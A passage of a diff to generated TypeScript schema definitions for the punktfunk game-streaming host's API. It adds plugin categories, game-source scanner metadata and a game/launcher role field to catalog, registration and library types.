Schema.optionalKey(Schema.String.annotate({ "description": "The encode backend that ACTUALLY opened for this session — `\"nvenc\"`, `\"vaapi\"`,\n`\"vulkan\"`, `\"amf\"`, `\"qsv\"`, `\"software\"`, … — and the GPU it runs on.\n\nRecorded because the stage split alone can't be read without them. A p50 `submit` of 10 ms\nmeans \"the GPU's CSC+encode throughput is the ceiling\" on one backend and something else\nentirely on another, and every fps-shortfall report so far has cost a round-trip asking\nwhich one it was. Both come from `pf_gpu::active()`, the record the encoder open itself\nwrites, so they name the branch that really opened rather than a re-derived guess.\n\n`\"\"` when nothing was streaming at registration (or on a build without the record)." })), "fps": Schema.Number.annotate({ "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "gpu": Schema.optionalKey(Schema.String.annotate({ "description": "Human-readable GPU name (`\"NVIDIA GeForce RTX 4090\"`, `\"CPU (openh264)\"`), or `\"\"`." })), "height": Schema.Number.annotate({ "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "id": Schema.String.annotate({ "description": "e.g. `\"2026-06-26T20-14-03Z_5120x1440\"` — also the filename stem." }), "kind": Schema.String.annotate({ "description": "`\"native\" | \"gamestream\"`." }), "sample_count": Schema.Number.annotate({ "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "started_unix_ms": Schema.Number.annotate({ "format": "int64" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "width": Schema.Number.annotate({ "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)) }).annotate({ "description": "Capture summary — the filename stem plus the negotiated mode/codec/client. Stored at the head\nof each on-disk recording and listed standalone (without the sample body) by\n[`StatsRecorder::list`]." }) -export type CatalogEntry = { readonly "author": string, readonly "blocked"?: string | null, readonly "compatible": boolean, readonly "description": string, readonly "homepage"?: string | null, readonly "icon"?: string | null, readonly "id": string, readonly "incompatible_reason"?: string | null, readonly "installed_version"?: string | null, readonly "license"?: string | null, readonly "min_host"?: string | null, readonly "pkg": string, readonly "platforms": ReadonlyArray, readonly "reviewed_at"?: string | null, readonly "source": string, readonly "tier": string, readonly "title": string, readonly "update_available": boolean, readonly "version": string } -export const CatalogEntry = Schema.Struct({ "author": Schema.String, "blocked": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "A revocation covering the catalogued version — do not offer this without shouting." })), "compatible": Schema.Boolean.annotate({ "description": "Can this host install it?" }), "description": Schema.String, "homepage": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "icon": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "id": Schema.String, "incompatible_reason": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "installed_version": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The version installed right now, if any." })), "license": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "min_host": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "pkg": Schema.String, "platforms": Schema.Array(Schema.String), "reviewed_at": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "When unom reviewed this exact tarball (built-in source only)." })), "source": Schema.String.annotate({ "description": "Which source listed it." }), "tier": Schema.String.annotate({ "description": "`verified` (built-in source) or `external` (an operator-added source). Never `unverified`:\nunverified installs come from a raw spec and are never listed (D7)." }), "title": Schema.String, "update_available": Schema.Boolean.annotate({ "description": "Installed, but at a different version than the catalog pins." }), "version": Schema.String.annotate({ "description": "The one installable version this entry pins." }) }).annotate({ "description": "One row on the shelf." }) +export type CatalogEntry = { readonly "author": string, readonly "blocked"?: string | null, readonly "categories": ReadonlyArray, readonly "compatible": boolean, readonly "description": string, readonly "detected"?: boolean | null, readonly "homepage"?: string | null, readonly "icon"?: string | null, readonly "id": string, readonly "incompatible_reason"?: string | null, readonly "installed_version"?: string | null, readonly "license"?: string | null, readonly "min_host"?: string | null, readonly "pkg": string, readonly "platforms": ReadonlyArray, readonly "reviewed_at"?: string | null, readonly "source": string, readonly "tier": string, readonly "title": string, readonly "update_available": boolean, readonly "version": string } +export const CatalogEntry = Schema.Struct({ "author": Schema.String, "blocked": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "A revocation covering the catalogued version — do not offer this without shouting." })), "categories": Schema.Array(Schema.String).annotate({ "description": "What kind of plugin this is — the console filters Browse by these, and the Game sources\nsurface's \"Add a source\" rail shows exactly the `library` ones (design D5/D6)." }), "compatible": Schema.Boolean.annotate({ "description": "Can this host install it?" }), "description": Schema.String, "detected": Schema.optionalKey(Schema.Union([Schema.Boolean, Schema.Null]).annotate({ "description": "Whether the launcher this plugin scans looks **installed on this host** (design D8), from the\nindex's own existence probes. `null` = the entry declares no probes for this platform, which\nthe console renders as \"unknown\" rather than \"not installed\"." })), "homepage": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "icon": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "id": Schema.String, "incompatible_reason": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "installed_version": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The version installed right now, if any." })), "license": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "min_host": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "pkg": Schema.String, "platforms": Schema.Array(Schema.String), "reviewed_at": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "When unom reviewed this exact tarball (built-in source only)." })), "source": Schema.String.annotate({ "description": "Which source listed it." }), "tier": Schema.String.annotate({ "description": "`verified` (built-in source) or `external` (an operator-added source). Never `unverified`:\nunverified installs come from a raw spec and are never listed (D7)." }), "title": Schema.String, "update_available": Schema.Boolean.annotate({ "description": "Installed, but at a different version than the catalog pins." }), "version": Schema.String.annotate({ "description": "The one installable version this entry pins." }) }).annotate({ "description": "One row on the shelf." }) export type DisconnectReason = "quit" | "timeout" | "error" export const DisconnectReason = Schema.Literals(["quit", "timeout", "error"]).annotate({ "description": "Why a client went away. `Quit` is a deliberate user \"stop\" (the typed close code);\n`Timeout` is a transport idle timeout (the client vanished); `Error` is everything else." }) export type EndGameRequest = { readonly "app_id"?: string | null } @@ -85,8 +85,8 @@ export type Plane = "native" | "gamestream" export const Plane = Schema.Literals(["native", "gamestream"]).annotate({ "description": "Which protocol plane an event originated from. Hooks and scripts filter on it — a hook\nthat fires for native clients but not Moonlight clients is a bug, not a v2 feature." }) export type PluginLogLine = { readonly "level": string, readonly "msg": string, readonly "source": string, readonly "ts_ms": number } export const PluginLogLine = Schema.Struct({ "level": Schema.String.annotate({ "description": "`ERROR` | `WARN` | `INFO` | `DEBUG` | `TRACE`. Anything else is coerced to `INFO`." }), "msg": Schema.String, "source": Schema.String.annotate({ "description": "Which unit emitted it — a plugin's `definePlugin` name, a package name, or `runner`.\nSurfaced in the console's target column as `plugin:`." }), "ts_ms": Schema.Number.annotate({ "description": "When the line was produced, unix milliseconds. Kept verbatim — see\n[`crate::log_capture::LogRing::push_remote`].", "format": "int64" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)) }).annotate({ "description": "One log line produced by the runner or a plugin inside it (`POST /plugins/logs`)." }) -export type PluginRegistration = { readonly "title": string, readonly "ui"?: null | { readonly "icon"?: string | null, readonly "port": number, readonly "secret": string }, readonly "version"?: string | null } -export const PluginRegistration = Schema.Struct({ "title": Schema.String.annotate({ "description": "Human-readable title for the console nav entry (1–64 chars; control chars stripped)." }), "ui": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "icon": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Optional lucide icon name for the console nav entry (`^[a-z0-9-]{1,48}$`)." })), "port": Schema.Number.annotate({ "description": "The **loopback** port the plugin serves its UI on. The host and console only ever dial\n`127.0.0.1:`; a registration can never carry a hostname.", "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "secret": Schema.String.annotate({ "description": "Per-boot shared secret the console proxy must present (as `Authorization: Bearer`) on every\nrequest to the plugin's UI server. Rotated whenever the plugin restarts." }) }).annotate({ "description": "Present iff the plugin serves a UI surface. A registration with no `ui` is a liveness/phone-book\nentry only (e.g. a future runner-management listing) and grows no nav entry." })], { mode: "oneOf" })), "version": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Optional plugin version, purely informational (≤32 chars)." })) }).annotate({ "description": "Register/renew body for `PUT /plugins/{id}`." }) +export type PluginRegistration = { readonly "category"?: string | null, readonly "title": string, readonly "ui"?: null | { readonly "icon"?: string | null, readonly "port": number, readonly "secret": string }, readonly "version"?: string | null } +export const PluginRegistration = Schema.Struct({ "category": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "What KIND of plugin this is (`^[a-z][a-z0-9-]{0,31}$`), top-level rather than under `ui`\nbecause it describes the plugin, not its surface. The console knows one value today —\n`library` — which it filters **out of the nav**: six installed scanner plugins would otherwise\nflood the sidebar, and their real entry point is the Game sources surface (design D5). A\nlibrary plugin that genuinely wants its own page (rom-manager, which is much more than a\nscanner) simply omits the category." })), "title": Schema.String.annotate({ "description": "Human-readable title for the console nav entry (1–64 chars; control chars stripped)." }), "ui": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "icon": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Optional lucide icon name for the console nav entry (`^[a-z0-9-]{1,48}$`)." })), "port": Schema.Number.annotate({ "description": "The **loopback** port the plugin serves its UI on. The host and console only ever dial\n`127.0.0.1:`; a registration can never carry a hostname.", "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "secret": Schema.String.annotate({ "description": "Per-boot shared secret the console proxy must present (as `Authorization: Bearer`) on every\nrequest to the plugin's UI server. Rotated whenever the plugin restarts." }) }).annotate({ "description": "Present iff the plugin serves a UI surface. A registration with no `ui` is a liveness/phone-book\nentry only (e.g. a future runner-management listing) and grows no nav entry." })], { mode: "oneOf" })), "version": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Optional plugin version, purely informational (≤32 chars)." })) }).annotate({ "description": "Register/renew body for `PUT /plugins/{id}`." }) export type PluginUiPublic = { readonly "icon"?: string | null, readonly "port": number } export const PluginUiPublic = Schema.Struct({ "icon": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "port": Schema.Number.annotate({ "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)) }).annotate({ "description": "The secret-free view of a plugin's UI surface — what [`list_plugins`] returns to the browser." }) export type PortMap = { readonly "audio": number, readonly "control": number, readonly "http": number, readonly "https": number, readonly "mgmt": number, readonly "rtsp": number, readonly "video": number } @@ -107,8 +107,8 @@ export type RuntimeRequest = { readonly "enabled": boolean } export const RuntimeRequest = Schema.Struct({ "enabled": Schema.Boolean }) export type RuntimeView = { readonly "detail"?: string | null, readonly "enabled": boolean, readonly "installed": boolean, readonly "principal"?: string | null, readonly "running": boolean, readonly "unit": string } export const RuntimeView = Schema.Struct({ "detail": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "enabled": Schema.Boolean, "installed": Schema.Boolean.annotate({ "description": "Is the runner payload/unit present at all?" }), "principal": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Windows: the account the task runs as." })), "running": Schema.Boolean, "unit": Schema.String.annotate({ "description": "systemd unit or scheduled-task name." }) }) -export type ScannerInfo = { readonly "enabled": boolean, readonly "id": string, readonly "label": string } -export const ScannerInfo = Schema.Struct({ "enabled": Schema.Boolean.annotate({ "description": "Whether this host runs the scanner (default true)." }), "id": Schema.String.annotate({ "description": "Stable scanner id — the same string the scanner's entries carry in their `store` field." }), "label": Schema.String.annotate({ "description": "Human-facing name for the console toggle." }) }).annotate({ "description": "One installed-store scanner this host build supports, with its enable state — the unit the\nconsole renders a toggle for. The list is platform-gated at compile time (the scanners are),\nso the console never shows a toggle that cannot do anything on this host." }) +export type ScannerInfo = { readonly "enabled": boolean, readonly "entries"?: number, readonly "id": string, readonly "label": string, readonly "origin": "builtin" | "plugin", readonly "provider"?: string | null } +export const ScannerInfo = Schema.Struct({ "enabled": Schema.Boolean.annotate({ "description": "Whether this host runs the source (default true)." }), "entries": Schema.optionalKey(Schema.Union([Schema.Number.check(Schema.isInt()).check(Schema.makeFilterGroup([Schema.isFinite(), Schema.isGreaterThanOrEqualTo(0)], { "description": "How many entries this source currently contributes. `None` for a built-in scanner, whose\ncount would mean walking every launcher's files just to render a toggle." }))])), "id": Schema.String.annotate({ "description": "Stable source id — the same string this source's entries carry in their `store` field. For a\nplugin source it is also its provider id and its store claim: one string, by construction, so\na user's disabled state survives a built-in scanner being replaced by its plugin." }), "label": Schema.String.annotate({ "description": "Human-facing name for the console toggle." }), "origin": Schema.Literals(["builtin", "plugin"]).annotate({ "description": "Where the source comes from: `builtin` (a scanner in this host build) or `plugin`." }), "provider": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The provider id backing a `plugin` source — absent for a built-in scanner." })) }).annotate({ "description": "One **game source** on this host, with its enable state — the unit the console renders a toggle\nfor. A source is either a scanner compiled into this build or a plugin that reconciles entries in\n(WP2.6); the console treats them identically, which is what makes the extraction invisible." }) export type ScannerToggle = { readonly "enabled": boolean } export const ScannerToggle = Schema.Struct({ "enabled": Schema.Boolean.annotate({ "description": "Whether the scanner should run on this host." }) }).annotate({ "description": "Request body for `setLibraryScanner`." }) export type SessionRef = { readonly "client": string, readonly "hdr": boolean, readonly "id": number, readonly "mode": string } @@ -147,8 +147,8 @@ export type GpuState = { readonly "active"?: null | { readonly "backend": string export const GpuState = Schema.Struct({ "active": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "backend": Schema.String.annotate({ "description": "The encode backend in use (`nvenc` | `amf` | `qsv` | `vaapi` | `software`)." }), "id": Schema.String.annotate({ "description": "Stable id matching an entry of `gpus` (empty for the CPU/software encoder)." }), "name": Schema.String, "sessions": Schema.Number.annotate({ "description": "Number of live encode sessions on it.", "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "vendor": Schema.String.annotate({ "description": "`nvidia` | `amd` | `intel` | `other`." }) }).annotate({ "description": "The GPU live sessions use right now (absent while nothing is streaming)." })], { mode: "oneOf" })), "encoder_pin": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "`PUNKTFUNK_ENCODER` (the host.env encoder pin), when set to something other than `auto`\n(e.g. `qsv`, `nvenc`, `amf`, `software`). A pin whose vendor contradicts the selected\nGPU is overridden at session open — the adapter wins — so the console can warn that the\npin is stale rather than letting the selection look broken." })), "env_override": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "`PUNKTFUNK_RENDER_ADAPTER` (the host.env pin), when set — it applies while `mode` is\n`auto`; a manual preference overrides it." })), "gpus": Schema.Array(ApiGpu).annotate({ "description": "The host's hardware GPUs." }), "mode": Schema.String.annotate({ "description": "`auto` or `manual`." }), "preferred_available": Schema.Boolean.annotate({ "description": "Whether the preferred GPU is currently present." }), "preferred_id": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The manually preferred GPU's stable id, when one is stored (kept while `mode` is `auto` so\na console can offer returning to it). May reference a GPU that is currently absent." })), "preferred_name": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The stored name of the preferred GPU (a usable label even when it is absent)." })), "selected": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "id": Schema.String, "name": Schema.String, "source": Schema.String.annotate({ "description": "Why this GPU was selected: `preference` (the manual choice), `env`\n(`PUNKTFUNK_RENDER_ADAPTER`), `auto` (max dedicated VRAM / platform default), or\n`preference_missing` (a manual choice is set but that GPU is absent — auto-selected\ninstead so the host keeps streaming)." }), "vendor": Schema.String.annotate({ "description": "`nvidia` | `amd` | `intel` | `other`." }) }).annotate({ "description": "The GPU the next session will use." })], { mode: "oneOf" })) }).annotate({ "description": "Full GPU-selection state for the console: inventory, the persisted preference, what the next\nsession will use, and what is in use right now." }) export type MonitorsResponse = { readonly "compositor"?: string | null, readonly "error"?: string | null, readonly "monitors": ReadonlyArray, readonly "pin_supported": boolean, readonly "pinned"?: string | null } export const MonitorsResponse = Schema.Struct({ "compositor": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Compositor backend the enumeration came from (`kwin`, `mutter`, …), when one was resolved." })), "error": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Why the list is empty, when enumeration failed (compositor unreachable, unsupported\nplatform). `None` with an empty list means \"asked, and there are none\"." })), "monitors": Schema.Array(ApiMonitorInfo).annotate({ "description": "The heads, ordered left-to-right by desktop position." }), "pin_supported": Schema.Boolean.annotate({ "description": "Whether this build can actually STREAM one of these monitors.\n\nEnumeration and capture are separate capabilities, and on Windows only the first exists: the\nheads below are real and worth showing (they explain the topology, and `/display/state`\ncross-references them), but `pf-capture`'s sole Windows entry point is `open_idd_push` — a\nframe channel pushed by our OWN IddCx virtual display. There is no desktop-duplication\ncapturer to point at a chosen head (DXGI Desktop Duplication was deliberately removed), so\n`vdisplay::open` has no mirror arm outside Linux and a pin could not be honored.\n\nThe console renders the picker read-only on `false`. Reported as a capability rather than\nsniffed client-side from the OS so the answer comes from the build that would have to honor\nit — when a Windows mirror backend lands, this flips and the UI needs no change." }), "pinned": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The configured `PUNKTFUNK_CAPTURE_MONITOR`, if any — reported even when it matches nothing,\nso the console can show \"pinned to DP-2, which this host doesn't have\"." })) }).annotate({ "description": "The host's physical monitors + which one capture is pinned to." }) -export type GameEntry = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art": Artwork, readonly "id": string, readonly "launch"?: null | { readonly "kind": string, readonly "value": string }, readonly "provider"?: string | null, readonly "store": string, readonly "title": string } -export const GameEntry = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Artwork, "id": Schema.String.annotate({ "description": "Stable, store-qualified id: `steam:` or `custom:`." }), "launch": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "kind": Schema.String.annotate({ "description": "`\"steam_appid\"` or `\"command\"`." }), "value": Schema.String.annotate({ "description": "The appid (for `steam_appid`) or the shell command (for `command`)." }) }).annotate({ "description": "How the host would launch it, when known." })], { mode: "oneOf" })), "provider": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The external provider owning this entry (custom-store entries synced by a provider\nplugin, RFC §8) — `None` for installed-store titles and manual custom entries. The\nconsole uses it for attribution; `GET /library?provider=` filters on it." })), "store": Schema.String.annotate({ "description": "Which store surfaced it: `\"steam\"` or `\"custom\"`." }), "title": Schema.String }).annotate({ "description": "Descriptive metadata, flattened — see [`GameMeta`]." }) +export type GameEntry = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art": Artwork, readonly "id": string, readonly "launch"?: null | { readonly "kind": string, readonly "value": string }, readonly "provider"?: string | null, readonly "role"?: "game" | "launcher", readonly "store": string, readonly "title": string } +export const GameEntry = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Artwork, "id": Schema.String.annotate({ "description": "Stable, store-qualified id: `steam:` or `custom:`." }), "launch": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "kind": Schema.String.annotate({ "description": "`\"steam_appid\"` or `\"command\"`." }), "value": Schema.String.annotate({ "description": "The appid (for `steam_appid`) or the shell command (for `command`)." }) }).annotate({ "description": "How the host would launch it, when known." })], { mode: "oneOf" })), "provider": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The external provider owning this entry (custom-store entries synced by a provider\nplugin, RFC §8) — `None` for installed-store titles and manual custom entries. The\nconsole uses it for attribution; `GET /library?provider=` filters on it." })), "role": Schema.optionalKey(Schema.Literals(["game", "launcher"]).annotate({ "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]." })), "store": Schema.String.annotate({ "description": "Which store surfaced it: `\"steam\"` or `\"custom\"`." }), "title": Schema.String }).annotate({ "description": "Descriptive metadata, flattened — see [`GameMeta`]." }) export type HooksConfig = { readonly "hooks"?: ReadonlyArray } export const HooksConfig = Schema.Struct({ "hooks": Schema.optionalKey(Schema.Array(HookEntry)) }).annotate({ "description": "The operator's hook configuration — the `hooks.json` document and the `/api/v1/hooks` body." }) export type LogPage = { readonly "dropped": boolean, readonly "entries": ReadonlyArray, readonly "next": number } @@ -163,20 +163,20 @@ export type StreamRef = { readonly "app"?: string | null, readonly "client": str export const StreamRef = Schema.Struct({ "app": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The launched app/title for this stream, when one was requested (store-qualified id on\nthe native plane, app title on the GameStream plane)." })), "client": Schema.String.annotate({ "description": "Client-supplied device name; may be empty." }), "hdr": Schema.Boolean, "mode": Schema.String.annotate({ "description": "Negotiated mode, `WxH@Hz`." }), "plane": Plane }).annotate({ "description": "A live video stream (what the stream marker file reflects)." }) export type PluginLogBatch = { readonly "entries": ReadonlyArray } export const PluginLogBatch = Schema.Struct({ "entries": Schema.Array(PluginLogLine) }).annotate({ "description": "A batch of runner log lines." }) -export type PluginSummary = { readonly "id": string, readonly "title": string, readonly "ui"?: null | PluginUiPublic, readonly "version"?: string | null } -export const PluginSummary = Schema.Struct({ "id": Schema.String, "title": Schema.String, "ui": Schema.optionalKey(Schema.Union([Schema.Null, PluginUiPublic], { mode: "oneOf" })), "version": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])) }).annotate({ "description": "One entry in `GET /plugins`. **Never carries the secret** — the browser learns a plugin exists\nand has a UI, nothing that lets it reach the plugin directly (it goes through the console proxy)." }) +export type PluginSummary = { readonly "category"?: string | null, readonly "id": string, readonly "title": string, readonly "ui"?: null | PluginUiPublic, readonly "version"?: string | null } +export const PluginSummary = Schema.Struct({ "category": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The plugin's kind — see [`PluginRegistration::category`]." })), "id": Schema.String, "title": Schema.String, "ui": Schema.optionalKey(Schema.Union([Schema.Null, PluginUiPublic], { mode: "oneOf" })), "version": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])) }).annotate({ "description": "One entry in `GET /plugins`. **Never carries the secret** — the browser learns a plugin exists\nand has a UI, nothing that lets it reach the plugin directly (it goes through the console proxy)." }) export type HostInfo = { readonly "abi_version": number, readonly "app_version": string, readonly "codecs": ReadonlyArray, readonly "gamestream": boolean, readonly "gfe_version": string, readonly "hostname": string, readonly "local_ip": string, readonly "os": string, readonly "os_name": string, readonly "ports": PortMap, readonly "uniqueid": string, readonly "version": string } export const HostInfo = Schema.Struct({ "abi_version": Schema.Number.annotate({ "description": "`punktfunk-core` C ABI version.", "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "app_version": Schema.String.annotate({ "description": "GameStream host version advertised to Moonlight clients." }), "codecs": Schema.Array(ApiCodec).annotate({ "description": "Codecs the host can encode (NVENC)." }), "gamestream": Schema.Boolean.annotate({ "description": "Whether the GameStream/Moonlight-compat planes are running (`--gamestream`). `false` on the\nsecure default (native punktfunk/1 only) — a console can hide Moonlight-only UI (e.g. the\nMoonlight PIN pairing card, which could never receive a PIN when this is `false`)." }), "gfe_version": Schema.String.annotate({ "description": "GFE version advertised to Moonlight clients." }), "hostname": Schema.String, "local_ip": Schema.String.annotate({ "description": "Best-effort primary LAN IP." }), "os": Schema.String.annotate({ "description": "OS identity chain, generic → most specific, slash-separated (`windows` | `macos` |\n`linux[/][/]`). A client walks it most-specific-first and shows the first\ntoken it has an icon for, so an unknown distro still degrades to its family's mark." }), "os_name": Schema.String.annotate({ "description": "Human-readable OS name (os-release `PRETTY_NAME`; `\"Windows\"`/`\"macOS\"` elsewhere)." }), "ports": PortMap, "uniqueid": Schema.String.annotate({ "description": "Stable per-host id (persisted across restarts), matched on pairing." }), "version": Schema.String.annotate({ "description": "`punktfunk-host` crate version." }) }).annotate({ "description": "Host identity and advertised capabilities (static for the life of the process)." }) export type DisplayLayoutRequest = { readonly "positions"?: { readonly [x: string]: Position } } export const DisplayLayoutRequest = Schema.Struct({ "positions": Schema.optionalKey(Schema.Record(Schema.String, Position).annotate({ "description": "`{\"\": {\"x\": …, \"y\": …}}` — where each arranged display's top-left sits." }).check(Schema.isPropertyNames(Schema.String))) }).annotate({ "description": "Request body for `setDisplayLayout`: per-identity-slot desktop offsets, keyed by the identity-slot\nid as a string (the same id `/display/state` reports as `identity_slot`)." }) export type Layout = { readonly "mode"?: LayoutMode, readonly "positions"?: { readonly [x: string]: Position } } export const Layout = Schema.Struct({ "mode": Schema.optionalKey(LayoutMode), "positions": Schema.optionalKey(Schema.Record(Schema.String, Position).check(Schema.isPropertyNames(Schema.String))) }).annotate({ "description": "Group layout: the arrangement mode plus, for [`LayoutMode::Manual`], per-slot offsets keyed by\nidentity-slot id (string keys for stable JSON)." }) -export type CustomEntry = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art"?: Artwork, readonly "detect"?: { readonly "exe"?: string | null, readonly "install_dir"?: string | null, readonly "process_name"?: string | null }, readonly "external_id"?: string | null, readonly "id": string, readonly "launch"?: null | LaunchSpec, readonly "prep"?: ReadonlyArray, readonly "provider"?: string | null, readonly "title": string } -export const CustomEntry = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Schema.optionalKey(Artwork), "detect": Schema.optionalKey(Schema.Struct({ "exe": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The game's own executable, as an absolute path." })), "install_dir": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Where the title is installed. Any process running from under this directory is part of the\ngame — the universal recipe, and the one worth 